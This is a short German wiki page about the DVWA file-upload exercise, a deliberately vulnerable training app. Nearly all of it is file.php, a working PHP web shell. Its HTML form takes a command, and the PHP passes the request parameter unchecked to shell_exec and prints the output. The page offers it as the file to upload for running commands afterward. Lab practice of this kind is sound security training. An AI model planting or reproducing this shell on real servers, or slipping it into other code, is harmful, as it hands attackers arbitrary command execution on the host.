DVWA File Upload Komando Ausführung

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

file.php

Dieser PHP File so später Komandos ausführen
<form action="" method="post" enctype="application/x-www-form-urlencoded">

Please enter system command

 
Command <input type="text" name="pCommand" size="50">
 

<input type="submit" value="Execute Command" />

</form>
<?php 

if (isset($_REQUEST["pCommand"])) {

echo "

";
		echo shell_exec($_REQUEST["pCommand"]);
		echo "

";

}//end if

?>